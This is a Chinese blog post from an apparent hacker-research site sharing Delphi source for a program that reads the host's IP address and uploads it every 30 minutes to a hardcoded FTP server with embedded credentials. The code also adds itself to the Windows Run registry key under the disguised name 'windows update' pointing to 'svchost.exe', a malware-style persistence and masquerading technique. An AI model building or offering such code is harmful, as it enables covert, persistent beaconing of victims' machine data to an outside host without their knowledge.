FTP my IP

myip

程序功能,获取主机ip然后上传到指定的ftp,检测时间间隔每30min。程序源代码编译即可直接运行。

///////////////////////////////////////////////
//火星黑客研究院
//IP 自动上传
//Code by obaby
//http://www.h4ck.org.cn
//http://www.obaby.org.cn
//////////////////////////////////////////////
unit Unit1;
 
interface
 
uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, IdBaseComponent, IdComponent, IdIPWatch, StdCtrls, ExtCtrls,
  IdTCPConnection, IdTCPClient,registry, IdFTP;
 
type
  TForm1 = class(TForm)
    IdIPWatch1: TIdIPWatch;
    Memo1: TMemo;
    Timer1: TTimer;
    IdFTP1: TIdFTP;
    procedure FormCreate(Sender: TObject);
    procedure Timer1Timer(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;
 
var
  Form1: TForm1;
  servername:string;
  username:string;
  userpwd:string;
  Reg:TRegistry;    
 
implementation
 
{$R *.dfm}
 
procedure TForm1.FormCreate(Sender: TObject);
begin
    Reg:=TRegistry.Create;                                     //创建一个新键
    Reg.RootKey:=HKEY_LOCAL_MACHINE;     //将根键设置为HKEY_LOCAL_MACHINE
    Reg.OpenKey('SOFTWARE\Microsoft\windows\CurrentVersion\Run',true);//打开一个键
    Reg.WriteString('windows update',ExtractFilePath(Application.Exename)+'svchost.exe');           //在Reg这个键中写入数据名称和数据数值
    Reg.CloseKey;                                                    //关闭键
end;
 
procedure TForm1.Timer1Timer(Sender: TObject);
begin
   servername:='www.h4ck.org.cn';
    username:='h4ck-obaby';
    userpwd:='1234567890987654321';
   memo1.Clear;
   form1.Caption:=IdIPWatch1.LocalIP;
   memo1.Lines.Add (IdIPWatch1.LocalIP );
   memo1.lines.SaveToFile('ip.txt');
   sleep (5000);
   idftp1.Host:=servername;
   idftp1.Username:=username;
   idftp1.Password:=userpwd;
   IdFTP1.Connect();
   sleep (1000);
  // IdFTP1.TransferType := ftBinary ;
   idftp1.Put('ip.txt','ip.txt');
   //showmessage('upload suscess');
 
end;
 
end.

原创文章,转载请注明: 转载自 obaby@mars

本文标题: 《FTP my IP》

本文链接地址: http://www.h4ck.org.cn/2009/11/ftp-my-ip/

You may also like

发表评论

电子邮件地址不会被公开。 必填项已用*标注